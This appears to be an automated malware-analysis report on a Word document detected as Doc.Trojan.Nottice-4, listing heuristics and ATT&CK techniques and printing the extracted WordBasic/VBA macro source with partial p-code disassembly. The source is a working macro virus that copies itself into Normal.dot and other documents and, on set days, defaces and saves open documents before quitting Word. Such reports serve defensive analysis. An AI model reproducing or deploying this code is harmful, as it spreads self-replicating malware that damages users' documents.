MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The script attempts to copy itself and another macro named 'STAR' to the global template, suggesting an effort to establish persistence or infect other documents. The presence of 'Virus Infected Bait File' in the document body further supports a malicious context.
Heuristics 4
-
ClamAV: Doc.Trojan.Nottice-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Nottice-4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9929 bytes |
SHA-256: 9b2aec2d838f36be1eb89d36c018742ba551b1644c32c8849c96f8e71a4f49b5 |
|||
|
Detection
ClamAV:
Doc.Trojan.Nottice-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Star"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.AutoOpen.MAIN"
Application.Options.VirusProtection = True
WordBasic.Call "STAR"
Dim D$
On Error GoTo ControlErrors
WordBasic.DisableAutoMacros 0
D$ = UCase(Right$(WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If D$ = "NORMAL.DOT" Then
If insideDoc = 0 Then killDOC
Else
If insideGlobal = 0 Then killGlobal
End If
ControlErrors:
End Sub
Private Function insideDoc()
Dim i
insideDoc = 0
If WordBasic.CountMacros(1) > 0 Then
For i = 1 To WordBasic.CountMacros(1)
If WordBasic.[MacroName$](i, 1) = "STAR" Then
insideDoc = 1
End If
Next i
End If
End Function
Private Function insideGlobal()
Dim i
insideGlobal = 0
If WordBasic.CountMacros(0) > 0 Then
For i = 1 To WordBasic.CountMacros(0)
If WordBasic.[MacroName$](i, 0) = "STAR" Then
insideGlobal = 1
End If
Next i
End If
End Function
Private Sub killDOC()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:STAR", WordBasic.[FileName$]() + ":STAR"
WordBasic.FileSaveAll 1, 1
End Sub
Private Sub killGlobal()
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":STAR", "Global:STAR"
WordBasic.FileSaveAll 1, 0
End Sub
Attribute VB_Name = "STAR"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Star"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.STAR.MAIN"
If (WordBasic.Day(WordBasic.Now()) = 5) Or (WordBasic.Day(WordBasic.Now()) = 20) Or (WordBasic.Day(WordBasic.Now()) = 30) Then
Application.OnTime When:=Now + TimeValue("00:05:00"), Name:="STAR.PaintStar"
End If
End Sub
Sub PaintStar()
Attribute PaintStar.VB_Description = "Star"
Attribute PaintStar.VB_ProcData.VB_Invoke_Func = "Normal.STAR.PaintStar"
Dim Vx, Vy, W, H
On Error GoTo FatalError
Application.WindowState = wdWindowStateMinimize
For Each Docu In Documents
Docu.PageSetup.PaperSize = wdPaperA4Small
Docu.PageSetup.Orientation = wdOrientLandscape
W = Int(Docu.PageSetup.PageWidth / 2)
H = Int(Docu.PageSetup.PageHeight / 2)
For i = 0 To 6.28 Step 0.6
Vx = W + Int((200 * Sin(i))): Vy = H - Int((200 * Cos(i)))
With Docu.Shapes.AddShape(msoShape5pointStar, Vx, Vy, 50, 50).Fill
.ForeColor.RGB = RGB(0, 0, 255)
.BackColor.RGB = RGB(0, 0, 255)
End With
Beep
Next i
Docu.Save
Next Docu
For Each Docu In Documents
Docu.Close
Next Docu
FatalError:
Application.Quit SaveChanges:=wdDotNoSaveChanges
End Sub
' Processing file: /opt/analyzer/scan_staging/baf1092af7b04d32930dcf52655a675a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 3185 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' LitVarSpecial (True)
' Ld Application
' MemLd Options
' MemSt VirusProtection
' Line #3:
' Line #4:
' LitStr 0x0004 "STAR"
' Ld WordBasic
' ArgsMemCall Call 0x0001
' Line #5:
' Dim
' VarDefn D
' Line #6:
' OnError ControlErrors
' Line #7:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #8:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemLd [MacroName$] 0x0001
' Ld WordBasic
' ArgsMemLd [MacroFileName$] 0x0001
' LitDI2 0x000A
' ArgsLd Right$ 0x0002
' ArgsLd UCase 0x0001
' St D$
' Line #9:
' Ld D$
' LitStr 0x000A "NORMAL.DOT"
' Eq
' IfBlock
' Line #10:
' Ld insideDoc
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' ArgsCall killDOC 0x0000
' EndIf
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.